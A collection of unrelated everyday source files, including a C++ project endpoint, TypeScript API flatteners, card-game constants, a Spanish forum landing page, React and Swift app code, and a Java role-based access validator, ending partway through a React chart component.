Endpoint projects() {
return Endpoint {
.method = "GET",
.endpoint = "/backend/user/projects",
.content_type = "application/json",
.rate_limit = {
.limit = 10,
.duration = 60,
},
.callback = [](Server& server, const Len& uid) {
Json user_data = server.load_user_data<Json>(uid, "general");
docs::check_user_data(user_data);
// user_data["projects"] = JArray{"vlib", "vdocs", "vweb"};
// server.save_user_data<Json>(uid, "general", user_data);
return server.response(
vlib::http::status::success,
Json{
{"message", "Successfully loaded your projects."},
{"projects", user_data["projects"].asa()},
}
);
}
};
}
// Delete projects.
Endpoint del_project() {
return Endpoint {
.method = "DELETE",
.endpoint = "/backend/user/projects",
.content_type = "application/json",
.auth = Endpoint::authenticated,
.rate_limit = {
.limit = 10,
.duration = 60,
},
.callback = [](Server& server, const Len& uid, const Json& params) {
// Get name.
vlib::http::Response response;
String *name;
if (!vweb::get_param(response, params, name, "name", 4)) {
return response;
}
// Update.
Json user_data = server.load_user_data<Json>(uid, "general");
docs::check_user_data(user_data);
JsonValue& projects = user_data["projects"];
if (projects.isa()) {
projects.asa().remove_r(*name);
server.save_user_data<Json>(uid, "general", user_data);
}
// Response.
return server.response(
vlib::http::status::success,
Json{
{"message", to_str("Successfully removed project \"" *name, "\".")},
}
);
}
};
}
} // end namespace user.
} // end namespace backend.
|
// This file contains various flattening classes that flattens api responses into concise objects for usage.
import type {
DailyChallenge,
DailyChallengeResponse,
Topper,
TopperResponse,
User,
UserResponse,
DatabaseQuery
} from '$lib/types/types';
class DailyChallengeFlattener implements DailyChallenge {
readonly link;
readonly difficulty;
readonly acceptanceRate;
readonly title;
readonly tags;
constructor(dailyChallengeData: DailyChallengeResponse) {
this.link = `https://leetcode.com${dailyChallengeData.link}`;
this.difficulty = dailyChallengeData.question.difficulty;
this.acceptanceRate = dailyChallengeData.question.acRate;
this.title = dailyChallengeData.question.title;
this.tags = dailyChallengeData.question.topicTags.map((element) => element.name);
}
}
class TopperFlattener implements Topper {
readonly github;
readonly username;
readonly userAvatar;
readonly ranking;
readonly skillTags;
readonly aboutMe;
readonly recentSubmission;
readonly recentSubmissionStatus;
readonly totalSolved;
constructor(user: TopperResponse) {
this.username = user.matchedUser.username;
this.github = user.matchedUser.githubUrl || 'https://www.github.com';
this.ranking = user.matchedUser.profile.ranking;
this.userAvatar = user.matchedUser.profile.userAvatar;
this.aboutMe = user.matchedUser.profile.aboutMe || `nothing worthwhile about ${this.username}`;
this.skillTags = (user.matchedUser.profile.skillTags.length &&
user.matchedUser.profile.skillTags) || ['Still A Mystery'];
this.recentSubmission = user.recentSubmissionList[0].title;
this.recentSubmissionStatus = user.recentSubmissionList[0].statusDisplay;
this.totalSolved = user.matchedUser.submitStats.acSubmissionNum[0].count;
}
}
class UserFlattener implements User {
readonly username;
readonly userAvatar;
readonly ranking;
readonly Easy;
readonly Medium;
readonly Hard;
readonly year;
readonly department;
readonly contestRating;
constructor(user: UserResponse, filteredData: DatabaseQuery) {
this.username = filteredData.username;
this.year = filteredData.year;
this.department = filteredData.department;
this.userAvatar = user.data.matchedUser.profile.userAvatar;
this.ranking = user.data.matchedUser.profile.ranking;
this.Easy = user.data.matchedUser.submitStats.acSubmissionNum[1].count;
this.Medium = user.data.matchedUser.submitStats.acSubmissionNum[2].count;
this.Hard = user.data.matchedUser.submitStats.acSubmissionNum[3].count;
this.contestRating = user.data.userContestRanking?.rating || 0;
}
}
export { DailyChallengeFlattener, TopperFlattener, UserFlattener };
|
import { Term, TypeChart, Image } from './../modules/data/data';
export const ELEMENTS = [`Fire`, `Water`, `Rock`, `Leaf`, `Electric`, `Death`] as const;
export type ElemType = typeof ELEMENTS[number];
export const BUFF_TIMINGS = [`Pre-Actions`, `With Attack`, `Post Actions`];
export type BuffTiming = typeof BUFF_TIMINGS[number];
const typeChart = new Array;
ELEMENTS.forEach(e => typeChart.push(new TypeChart(e)));
export const TYPE_CHART = typeChart;
export const PLAYER_BOARD_TEXT: string[] = [
'Buffs',
'Discards',
'Hand<br><div class="sub-text">(facedown)</div>'
];
export type Url = string;
export type Path = string;
export type Css = string;
export type ImageFile = string;
export type CardTypes = `MONSTER` | `ACTION` | `BUFF` | 'EXTRA';
export const ICON_PATH: Path = `./assets/images`;
export const SYMBOLS_PATH: Path = ICON_PATH + `/symbols/`;
export const ELEMENT_PATH_COLOR: Path = ICON_PATH + `/elements/color/`;
export const ELEMENT_PATH_GRAY: Path = ICON_PATH + `/elements/gray/`;
export const HP_PATH: Path = SYMBOLS_PATH + `/hp/`;
export const ROLE_PATH: Path = ICON_PATH + `/roles/`;
export const MODIFIER_OPTIONS_POS = [0, 1, 2, 3, 4, 5];
export const MODIFIER_OPTIONS_NEG = [0, -1, -2, -3, -4, -5, `X`];
export type TermCodeValue = string;
// best method I could think of with the least redundancy while maintaining strong typing
export const TERM_KEYS = [`~WOUND~`, `~FLINCH~`, `~DRAIN~`, `~FATIGUE~`,
`~STATUS~`, `~SINGLE~`, `~STUN~`, `~RECOIL~`, `~SWITCH~`, `~SUPER~`, `~FASTER~`, `~SLOWER~`,
`~GOOP~`, `~EXHAUST~`, '~PIERCE~', `~RESIST~`, `~EFFECTIVE~`, `~BELONGS~`, `~SPAM~`, `~AURA~`, `~STRENGTHEN~`, `~FRAIL~`, '~CAPTURE~', '~CRUSH~'] as const;
export type TermCode = typeof TERM_KEYS[number];
const termCodes = [
new Term('Belongs', `~BELONGS~`, `A buff card <b>belongs</b> to a monster if the monster name on the bottom of the buff card matches.`),
new Term('Drain', `~DRAIN~`, `At the end of the turn, monsters with <b>drain</b> [STATUS] suffer <span>1[ATK]</span> and your active monster heals <span>1[HP].</span>`),
new Term('Weak', `~EFFECTIVE~`, `Monsters are <b>weak</b> to elements in the [WEAK] section of their monster card.`),
new Term('Exhaust', `~EXHAUST~`, `Cards with <b>exhaust</b> are removed from the game after they are resolved. Put a blank into your discard.`),
new Term('Faster', `~FASTER~`, `This action is <b>faster</b> if your opponent selects a standard action, or if both players select a monster action and yours resolves first.`),
new Term('Fatigue', `~FATIGUE~`, `Whenever a monster with <b>fatigue</b> [STATUS] attacks, the attack gains <span><b>recoil X[ATK]</b></span>, where X is the number of buff slots used.`),
new Term('Flinch', `~FLINCH~`, `Actions with <b>flinch</b> prevent the enemy monster's attack action if this action is <b>faster.</b>`),
new Term('Pierce', '~PIERCE~', `Attacks with <b>pierce</b> ignore this amount of the enemy monster's <div>[DEF].</div> Multiple instances of pierce stack.`),
new Term('Recoil', `~RECOIL~`, `This monster suffers this amount of <b>recoil</b> damage to itself after the attack resolves. Multiple instances of recoil stack.`),
new Term('Resistant', `~RESIST~`, `Monsters are <b>resistant</b> to elements in the [RESIST] section of their monster card.`),
new Term('Single Use', `~SINGLE~`, `<b>Single use</b> actions remain disabled until switched out, as denoted by [SINGLE].`),
new Term('Slower', `~SLOWER~`, `This action is <b>slower</b> if your opponent selects a switch action, or if both players select a monster action and yours resolves second.`),
new Term('Spammable', `~SPAM~`, `<b>Spammable</b> actions do not become disabled.`),
new Term('Status Condition', `~STATUS~`, `<b>Status conditions</b> [STATUS] – drain, fatigue, stun, wound.`),
new Term('Stun', `~STUN~`, `Monsters with <b>stun</b> [STATUS] perform their switch actions after monster actions.`),
new Term('Super', `~SUPER~`, `<b>Supers</b> require and use two [B] slots.`),
new Term('Switches In', `~SWITCH~`, `<b>Switch in</b> abilities also trigger at the start of the game and following a monster KO.`),
new Term('Team Aura', '~AURA~', '<b>Team aura</b> [TA] – At the end of your turn, put a time counter on this. If the number of time counters equals its duration, discard this. You can only have one active <b>team aura</b> at any time.'),
new Term('Wound', `~WOUND~`, `Monsters with <b>wound</b> [STATUS] perform one less [Q] on all of their attacks.`),
new Term('Crush', '~CRUSH~', '<b>Crush X</b> - Remove X [PQ] of the same type of your choice from your opponent.')
];
export const TERM_CODES = termCodes.sort((a,b) => a.name.localeCompare(b.name));
const IMAGE_KEYS = [`[ATK]`, `[+]`, `[B]`, `[-]`, `[DEF]`, `[TA]`,
`[SPD]`, `[F]`, `[W]`, `[L]`, `[R]`, `[E]`, `[S]`, `[ST]`, `[REAC]`, `[HP]`, '[CUBE]', '[NQ]', '[PQ]', '[ARROW]',
'[SPECIAL]', '[STATUS]', '[COUNTER]', '[MQ]', '[ACORN]', '[HONEY]', '[WISH]', '[TORMENT]', '[FLIP]', '[DISABLE]', '[SINGLE]', '[HOLLOW]',
'[SR]', '[SL]', '[RESIST]', '[WEAK]', '[STR]', '[FRAIL]', '[GOOP]', `[Q]`
] as const;
export type ImageCode = typeof IMAGE_KEYS[number];
export const IMAGE_CODES = [
new Image(`[ATK]`, SYMBOLS_PATH + `attack.png`),
new Image(`[+]`, SYMBOLS_PATH + `draw.png`),
new Image(`[B]`, SYMBOLS_PATH + `buff.png`),
new Image(`[-]`, SYMBOLS_PATH + `discard.png`),
new Image(`[DEF]`, SYMBOLS_PATH + `defense.png`),
new Image(`[TA]`, SYMBOLS_PATH + `aura.png`),
new Image(`[SPD]`, SYMBOLS_PATH + `speed.png`),
new Image(`[F]`, ELEMENT_PATH_COLOR + `fire.png`),
new Image(`[W]`, ELEMENT_PATH_COLOR + `water.png`),
new Image(`[L]`, ELEMENT_PATH_COLOR + `leaf.png`),
new Image(`[R]`, ELEMENT_PATH_COLOR + `rock.png`),
new Image(`[E]`, ELEMENT_PATH_COLOR + `electric.png`),
new Image(`[S]`, ELEMENT_PATH_COLOR + `death.png`),
new Image(`[ST]`, SYMBOLS_PATH + `status.png`),
new Image(`[HP]`, SYMBOLS_PATH + `heart.png`),
new Image(`[CUBE]`, SYMBOLS_PATH + `cube.png`),
new Image(`[PQ]`, SYMBOLS_PATH + `green-cube.png`),
new Image(`[MQ]`, SYMBOLS_PATH + `blue-cube.png`),
new Image(`[SPECIAL]`, SYMBOLS_PATH + `status.png`),
new Image(`[STATUS]`, SYMBOLS_PATH + `wound.png`),
new Image(`[FLIP]`, SYMBOLS_PATH + `flip.png`),
new Image(`[Q]`, SYMBOLS_PATH + `question.png`),
new Image(`[DISABLE]`, SYMBOLS_PATH + `unlocked.png`),
new Image(`[SINGLE]`, SYMBOLS_PATH + `single-use.png`),
new Image(`[SR]`, SYMBOLS_PATH + `switch-right.png`),
new Image(`[SL]`, SYMBOLS_PATH + `switch-left.png`),
new Image(`[RESIST]`, SYMBOLS_PATH + `switch-defense-right.png`),
new Image(`[WEAK]`, SYMBOLS_PATH + `effective.png`),
new Image(`[GOOP]`, SYMBOLS_PATH + `goop.png`),
new Image(`[HOLLOW]`, SYMBOLS_PATH + `hollow.png`),
new Image(`[ARROW]`, SYMBOLS_PATH + `sideswipe.png`),
];
//TODO: this should return an object with two properties: advElems and DisElems that are arrays of elemtypes
export const getAdvantages = (elem: ElemType): number[] => {
// fire, water, rock, leaf, elec, death
// -1 means the monster takes MORE damage
// 1 means resistance
if (elem === 'Death') {return [0, -1, 1, 1, -1, 0]; }
if (elem === 'Electric') { return [-1, 1, -1, 0, 0, 1]; }
if (elem === 'Fire') { return [0, -1, -1, 1, 1, 0]; }
if (elem === 'Water') { return [1, 0, 0, -1, -1, 1]; }
if (elem === 'Leaf') { return [-1, 1, 1, 0, 0, -1]; }
if (elem === 'Rock') { return [1, 0, 0, -1, 1, -1]; }
};
export const getElementIndex = (elem: ElemType): number => {
if (elem === 'Death') {
return 5;
}
if (elem === 'Electric') {
return 4;
}
if (elem === 'Leaf') {
return 3;
}
if (elem === 'Rock') {
return 2;
}
if (elem === 'Water') {
return 1;
}
return 0;
};
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"></script>
<!-- ICONOS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
<title>Document</title>
</head>
<body>
<header class="p-1 text-bg-dark">
<!-- NAV -->
<nav class="navbar navbar-expand-sm navbar-dark bg-dark" aria-label="Third navbar example">
<div class="container-fluid">
<a class="navbar-brand" href="#">FOR-VOS</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse"
data-bs-target="#navbarsExample03" aria-controls="navbarsExample03" aria-expanded="false"
aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExample03">
<ul class="navbar-nav me-auto mb-2 mb-sm-0">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="#">Inicio</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">Foros</a>
</li>
<li class="nav-item">
<a class="nav-link disabled" aria-disabled="true">Comunidad</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" data-bs-toggle="dropdown"
aria-expanded="false">Mas</a>
<ul class="dropdown-menu">
<li><a class="dropdown-item" href="#">Contacto</a></li>
<li><a class="dropdown-item" href="#">Soporte</a></li>
<li><a class="dropdown-item" href="#">Hacete plus</a></li>
</ul>
</li>
</ul>
<form role="search">
<input class="form-control" type="search" placeholder="Buscar" aria-label="Search">
</form>
<div class="text-end pl-3">
<button type="button" class="btn btn-outline-light me-2">Entrar</button>
<button type="button" class="btn btn-warning">Registrarse</button>
</div>
</div>
</div>
</nav>
<!-- LA BARRA -->
<div class="container-fluid">
<div class="nav-scroller py-1 mb-3 border-bottom border-top">
<nav class="nav nav-underline justify-content-between">
<a class="nav-item nav-link link-body-emphasis active text-white" href="#">HTML</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">CSS</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">JavaScript</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">Java</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">Python</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">C#</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">PHP</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">C++</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">Pascal</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">Lazarus</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">Delphi</a>
<a class="nav-item nav-link link-body-emphasis text-white" href="#">Cobol</a>
</nav>
</div>
</div>
</header>
<main>
<!-- HERO -->
<div class="px-4 py-5 my-5 text-center">
<img class="d-block mx-auto mb-4" src="/Assets/pngegg.png" alt="" width="100" height="">
<h1 class="display-5 fw-bold text-body-emphasis">{Foro para programadores}</h1>
<div class="col-lg-6 mx-auto">
<p class="lead mb-4">¡Saludos a todos los apasionados por la programación y la tecnología! Estamos
emocionados de darles la bienvenida a FOR-VOS, un espacio en línea diseñado exclusivamente para
programadores y desarrolladores de todas las habilidades y niveles de experiencia.</p>
<div class="d-grid gap-2 d-sm-flex justify-content-sm-center">
<button type="button" class="btn btn-primary btn-lg px-4 gap-3">Entrar a los foros</button>
<button type="button" class="btn btn-outline-secondary btn-lg px-4">Crear un foro</button>
</div>
</div>
</div>
<!-- SECTION -->
<div class="container marketing">
<hr class="featurette-divider">
<div class="row featurette">
<div class="col-md-7">
<h2 class="featurette-heading fw-normal lh-1">Explora las Últimas Discusiones en <span
class="text-body-secondary">Desarrollo de Software</span></h2>
<p class="lead">Mantente al día con las conversaciones más recientes sobre programación, desarrollo web, y tecnologías emergentes en nuestra comunidad de programadores apasionados.</p>
</div>
<div class="col-md-5">
<svg class="bd-placeholder-img bd-placeholder-img-lg featurette-image img-fluid mx-auto" width="500"
height="500" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Placeholder: 500x500"
preserveAspectRatio="xMidYMid slice" focusable="false">
<title>Placeholder</title>
<rect width="100%" height="100%" fill="var(--bs-secondary-bg)"></rect><text x="50%" y="50%"
fill="var(--bs-secondary-color)" dy=".3em">500x500</text>
</svg>
</div>
</div>
<hr class="featurette-divider">
<div class="row featurette">
<div class="col-md-7 order-md-2">
<h2 class="featurette-heading fw-normal lh-1">Consejos, Trucos y Soluciones para Desarrolladores</span></h2>
<p class="lead">Encuentra consejos prácticos, trucos eficaces y soluciones a desafíos comunes en el mundo de la programación. Impulsa tu carrera de desarrollo con nuestra comunidad experta</p>
</div>
<div class="col-md-5 order-md-1">
<svg class="bd-placeholder-img bd-placeholder-img-lg featurette-image img-fluid mx-auto" width="500"
height="500" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Placeholder: 500x500"
preserveAspectRatio="xMidYMid slice" focusable="false">
<title>Placeholder</title>
<rect width="100%" height="100%" fill="var(--bs-secondary-bg)"></rect><text x="50%" y="50%"
fill="var(--bs-secondary-color)" dy=".3em">500x500</text>
</svg>
</div>
</div>
<hr class="featurette-divider">
<div class="row featurette">
<div class="col-md-7">
<h2 class="featurette-heading fw-normal lh-1">Destacamos a la Comunidad de Programadores <span
class="text-body-secondary">más Brillante</span></h2>
<p class="lead">Descubre a los miembros más activos y las conversaciones más estimulantes en nuestra comunidad de programadores. Únete a ellos para compartir conocimientos y experiencias en el mundo de la programación.</p>
</div>
<div class="col-md-5">
<svg class="bd-placeholder-img bd-placeholder-img-lg featurette-image img-fluid mx-auto" width="500"
height="500" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Placeholder: 500x500"
preserveAspectRatio="xMidYMid slice" focusable="false">
<title>Placeholder</title>
<rect width="100%" height="100%" fill="var(--bs-secondary-bg)"></rect><text x="50%" y="50%"
fill="var(--bs-secondary-color)" dy=".3em">500x500</text>
</svg>
</div>
</div>
<hr class="featurette-divider">
<!-- /END THE FEATURETTES -->
</div>
</main>
<footer>
<div class="container">
<footer class="d-flex flex-wrap justify-content-between align-items-center py-3 my-4 border-top">
<div class="col-md-4 d-flex align-items-center">
<a href="/" class="mb-3 me-2 mb-md-0 text-body-secondary text-decoration-none lh-1">
<svg class="bi" width="30" height="24">
<use xlink:href="#bootstrap"></use>
</svg>
</a>
<span class="mb-3 mb-md-0 text-body-secondary">© 2023 FOR-VOS</span>
</div>
<ul class="nav col-md-4 justify-content-end list-unstyled d-flex">
<li class="ms-3"><a class="text-body-secondary" href="#"><i class="bi bi-twitter"></i></a></li>
<li class="ms-3"><a class="text-body-secondary" href="#"><i class="bi bi-instagram"></i></a></li>
<li class="ms-3"><a class="text-body-secondary" href="#"><i class="bi bi-facebook"></i></a></li>
</ul>
</footer>
</div>
</footer>
</body>
</html>
|
// src/components/Order/EditOrder.js
import CompanyAppBar from '../CompanyAppBar';
import React, { useState, useEffect } from 'react';
import { useParams, useNavigate } from 'react-router-dom';
import { getFirestore, doc, getDoc, updateDoc } from 'firebase/firestore';
import { TextField, Button, Container, Typography } from '@mui/material';
const EditOrder = () => {
const [orderData, setOrderData] = useState({
description: '',
startTime: '',
endTime: ''
});
const [isSubmitting, setIsSubmitting] = useState(false);
const { id } = useParams();
const navigate = useNavigate();
const firestore = getFirestore();
useEffect(() => {
const fetchOrderData = async () => {
const orderDocRef = doc(firestore, 'orders', id);
const orderDoc = await getDoc(orderDocRef);
if (orderDoc.exists()) {
setOrderData(orderDoc.data());
} else {
console.log('No such document!');
}
};
fetchOrderData();
}, [id,firestore]);
const handleChange = (e) => {
setOrderData({ ...orderData, [e.target.name]: e.target.value });
};
const handleSubmit = async (e) => {
e.preventDefault();
setIsSubmitting(true);
try {
const orderDocRef = doc(firestore, 'orders', id);
await updateDoc(orderDocRef, { ...orderData });
navigate('/dashboard/company'); // Redirigir al dashboard de la empresa
} catch (error) {
console.error('Error al actualizar el pedido:', error);
} finally {
setIsSubmitting(false);
}
};
return (
<>
<CompanyAppBar />
<Container maxWidth="sm">
<Typography variant="h4" gutterBottom>
Editar Pedido
</Typography>
<form onSubmit={handleSubmit}>
<TextField
label="Descripción del Pedido"
name="description"
value={orderData.description}
onChange={handleChange}
fullWidth
margin="normal"
/>
<TextField
label="Hora de Inicio de Preparación"
type="time"
name="startTime"
value={orderData.startTime}
onChange={handleChange}
fullWidth
margin="normal"
InputLabelProps={{ shrink: true }}
/>
<TextField
label="Hora de Fin de Preparación"
type="time"
name="endTime"
value={orderData.endTime}
onChange={handleChange}
fullWidth
margin="normal"
InputLabelProps={{ shrink: true }}
/>
<Button type="submit" variant="contained" color="primary" fullWidth disabled={isSubmitting}>
Actualizar Pedido
</Button>
</form>
</Container>
</>
);
};
export default EditOrder;
|
//
// ActivityStore.swift
// Bored
//
// Created by armin on 8/7/21.
//
import SwiftUI
import BoredSDK
class ActivityStore: ObservableObject {
@AppStorage("activityTitle") private var activityTitle: String = ""
@AppStorage("activityAccessibility") private var activityAccessibility: Double = 0.0
@AppStorage("activityParticipants") private var activityParticipants: Int = 0
@AppStorage("activityType") private var activityType: String = ""
@AppStorage("activityPrice") private var activityPrice: Double = 0
@AppStorage("activityLink") private var activityLink: String = ""
@AppStorage("activityKey") private var activityKey: String = ""
@Published private(set) var activity: Activity? = nil
@Published private(set) var isLoading: Bool = false
@Published private(set) var hasError: Bool = false
@Published private(set) var errorTitle: String = ""
@Published private(set) var errorSubtitle: String = ""
@Published private(set) var hasFilter: Bool = false
@Published private var typeFilter = ActivityType.all
@Published private var participantsFilter = 1
@Published private var budgetFilter = 0.0
private var request: BoredSDK<ActivityResource>?
func fetchData() {
guard !isLoading else { return }
isLoading = true
self.hasError = false
self.errorTitle = ""
self.errorSubtitle = ""
var resource = ActivityResource()
if hasFilter {
resource = ActivityResource(
type: typeFilter.rawValue,
participants: String(participantsFilter),
maxprice: String(budgetFilter)
)
}
let request = BoredSDK(resource: resource)
self.request = request
request.execute { result in
self.isLoading = false
switch result {
case .success:
self.activity = try? result.get()
case .failure(.badNetworkingRequest):
self.hasError = true
self.errorTitle = NetworkingError.badNetworkingRequest.errorDescription ?? ""
self.errorSubtitle = "Try again"
print("Network error (Bad request)")
case .failure(.errorParse):
self.hasError = true
self.errorTitle = NetworkingError.errorParse.errorDescription ?? ""
self.errorSubtitle = "Try again later"
print("Network error (Parse error")
case .failure(.unexpectedError):
self.hasError = true
self.errorTitle = NetworkingError.unexpectedError.errorDescription ?? ""
self.errorSubtitle = "Try again and report the bug"
print("Network error (Unexpected error")
}
}
}
func fetch(completion : @escaping(Activity) ->()) {
guard !isLoading else { return }
isLoading = true
self.hasError = false
self.errorTitle = ""
self.errorSubtitle = ""
let resource = ActivityResource()
let request = BoredSDK(resource: resource)
self.request = request
request.execute { result in
self.isLoading = false
switch result {
case .success:
self.activity = try? result.get()
/// Saving data to AppStorage (Loading activity for widgets if network is disconnected)
if let activity = self.activity {
self.activityTitle = activity.activity
self.activityAccessibility = activity.accessibility
self.activityParticipants = activity.participants
self.activityType = activity.type
}
if let activity = self.activity {
completion(activity)
} else {
completion(self.loadFromAppStorage())
}
default:
completion(self.loadFromAppStorage())
}
}
}
func loadFromAppStorage() -> Activity {
return Activity(
activity: self.activityTitle,
type: self.activityType,
participants: self.activityParticipants,
price: self.activityPrice,
link: self.activityLink,
key: self.activityKey,
accessibility: self.activityAccessibility
)
}
func setFilters(type: ActivityType, participants: Int, budget: Double) {
self.hasFilter = true
self.typeFilter = type
self.participantsFilter = participants
self.budgetFilter = budget
fetchData()
}
func clearFilters() {
hasFilter = false
typeFilter = ActivityType.all
participantsFilter = 1
budgetFilter = 0.0
}
func testData() -> Activity {
return Activity(
activity: "Resolve a problem you've been putting off",
type: "busywork",
participants: 1,
price: 0,
link: "",
key: "9999999",
accessibility: 0
)
}
}
|
/*
* Copyright (C) 2022 Starfire Aviation, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.starfireaviation.questions.validation;
import com.starfireaviation.common.model.Role;
import com.starfireaviation.common.model.User;
import com.starfireaviation.common.exception.AccessDeniedException;
import com.starfireaviation.common.exception.ResourceNotFoundException;
import com.starfireaviation.common.service.DataService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import java.security.Principal;
/**
* BaseValidator.
*/
@Slf4j
@Component
public class UserValidator {
/**
* DataService.
*/
@Autowired
private DataService dataService;
/**
* Validates access by an admin or instructor.
*
* @param principal Principal
* @throws AccessDeniedException when principal user is not permitted to access
* user info
*/
public void accessAdminOrInstructor(final Principal principal) throws AccessDeniedException {
empty(principal);
final User loggedInUser = dataService.getUser(principal.getName());
final Role role = loggedInUser.getRole();
if (role != Role.ADMIN && role != Role.INSTRUCTOR) {
log.warn(
String.format(
"%s throwing AccessDeniedException because role is [%s]",
"accessAdminOrInstructor()",
role));
throw new AccessDeniedException("Current user is not authorized");
}
}
/**
* Validates access by an admin.
*
* @param principal Principal
* @throws ResourceNotFoundException when principal user is not found
* @throws AccessDeniedException when principal user is not permitted to
* access user info
*/
public void accessAdmin(final Principal principal) throws ResourceNotFoundException,
AccessDeniedException {
empty(principal);
final User loggedInUser = dataService.getUser(principal.getName());
final Role role = loggedInUser.getRole();
if (role != Role.ADMIN) {
log.warn(
String.format(
"%s throwing AccessDeniedException because role is [%s]",
"accessAdmin()",
role));
throw new AccessDeniedException("Current user is not authorized");
}
}
/**
* Validates access by any authenticated user.
*
* @param principal Principal
* @throws AccessDeniedException when principal user is not permitted to access
* user info
*/
public void accessAnyAuthenticated(final Principal principal) throws AccessDeniedException {
empty(principal);
final User loggedInUser = dataService.getUser(principal.getName());
final Role role = loggedInUser.getRole();
if (role != Role.ADMIN && role != Role.INSTRUCTOR && role != Role.STUDENT) {
log.warn(
String.format(
"%s throwing AccessDeniedException because role is [%s]",
"accessAnyAuthenticated()",
role));
throw new AccessDeniedException("Current user is not authorized");
}
}
/**
* Validates access by an admin, instructor, or the authenticated user.
*
* @param userId User ID
* @param principal Principal
* @throws AccessDeniedException when principal user is not permitted to access
* user info
*/
public void accessAdminInstructorOrSpecificUser(final Long userId, final Principal principal)
throws AccessDeniedException {
empty(principal);
final User loggedInUser = dataService.getUser(principal.getName());
final Role role = loggedInUser.getRole();
if (role != Role.ADMIN && role != Role.INSTRUCTOR && userId.longValue() != loggedInUser.getId().longValue()) {
log.warn(
String.format(
"%s throwing AccessDeniedException because role is [%s] and userId "
+ "is [%s] and loggedInUser ID is [%s]",
"accessAdminInstructorOrSpecificUser()",
role,
userId,
loggedInUser.getId()));
throw new AccessDeniedException("Current user is not authorized");
}
}
/**
* Determines if logged in user is an admin.
*
* @param principal Principal
* @return admin user?
*/
public boolean isAdmin(final Principal principal) {
try {
accessAdmin(principal);
return true;
} catch (AccessDeniedException | ResourceNotFoundException e) {
return false;
}
}
/**
* Determines if logged in user is an authenticated user.
*
* @param userId User ID
* @param principal Principal
* @return authenticated user?
*/
public boolean isAuthenticatedUser(final Long userId, final Principal principal) {
try {
empty(principal);
final User loggedInUser = dataService.getUser(principal.getName());
if (userId == loggedInUser.getId()) {
return true;
}
} catch (AccessDeniedException ee) {
return false;
}
return false;
}
/**
* Determines if logged in user is an admin or instructor.
*
* @param principal Principal
* @return admin or instructor user
*/
public boolean isAdminOrInstructor(final Principal principal) {
if (principal == null) {
return false;
}
try {
accessAdminOrInstructor(principal);
return true;
} catch (AccessDeniedException ade) {
return false;
}
}
/**
* Ensures principal is not null.
*
* @param principal Principal
* @throws AccessDeniedException when principal is null
*/
private static void empty(final Principal principal) throws AccessDeniedException {
if (principal == null) {
log.warn(
String.format("%s throwing AccessDeniedException because principal is %s", "empty()", principal));
throw new AccessDeniedException("No authorization provided");
}
}
}
|
package com.sample;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import com.sample.config.JavaConfigA;
import com.sample.services.DependencyInjectionService;
import com.sample.utils.DependencyUtilB;
public class JavaBasedConfigClient {
public static void main(String[] args) {
// AbstractApplicationContext provides close methods, ApplicationContext doesn't have it
AnnotationConfigApplicationContext context = null;
try {
// this (using var-arg constructor)
//context = new AnnotationConfigApplicationContext(JavaConfigA.class,JavaConfigB.class);
// Topic=@Import, we can group module or category, to make things more maintainable and modular
// This is the same as line 18, where we tried to import the Configs into one
context = new AnnotationConfigApplicationContext();
// This can be also set using system
//System.setProperty(AbstractEnvironment.ACTIVE_PROFILES_PROPERTY_NAME, "dev");
context.getEnvironment().setActiveProfiles("test");
context.register(JavaConfigA.class);
context.refresh();
// Possible Error CGLIB is required to process @Configuration classes
// add CGLIB to the classpath
DependencyInjectionService diService = (DependencyInjectionService) context.getBean("diService");
DependencyUtilB secondaryConfigBean = (DependencyUtilB) context.getBean("secondaryConfigBean");
System.out.println(secondaryConfigBean.somePrint());
System.out.println();
diService.getResponse();
} catch (Exception e) {
e.printStackTrace();
} finally {
context.close();
// used to close if the JVM shuts down
context.registerShutdownHook();
}
}
}
|
import React from "react";
import Bar from "./Bar";
import {
ChartContainer,
ChartInner,
ChartSummaryColumnLeft,
ChartSummaryColumnRight,
ChartSummaryRow,
} from "./Chart.styled";
import Header from "./Header";
const Chart = ({ data }: any) => {
const weeklyAmounts = data.map(
(dataRow: { amount: number }) => dataRow.amount
);
const maxWeeklyAmount = Math.max(...weeklyAmounts);
const WeeklyTotal = data.reduce(
(prev: any, dataRow: any) => prev + dataRow.amount,
0
);
return (
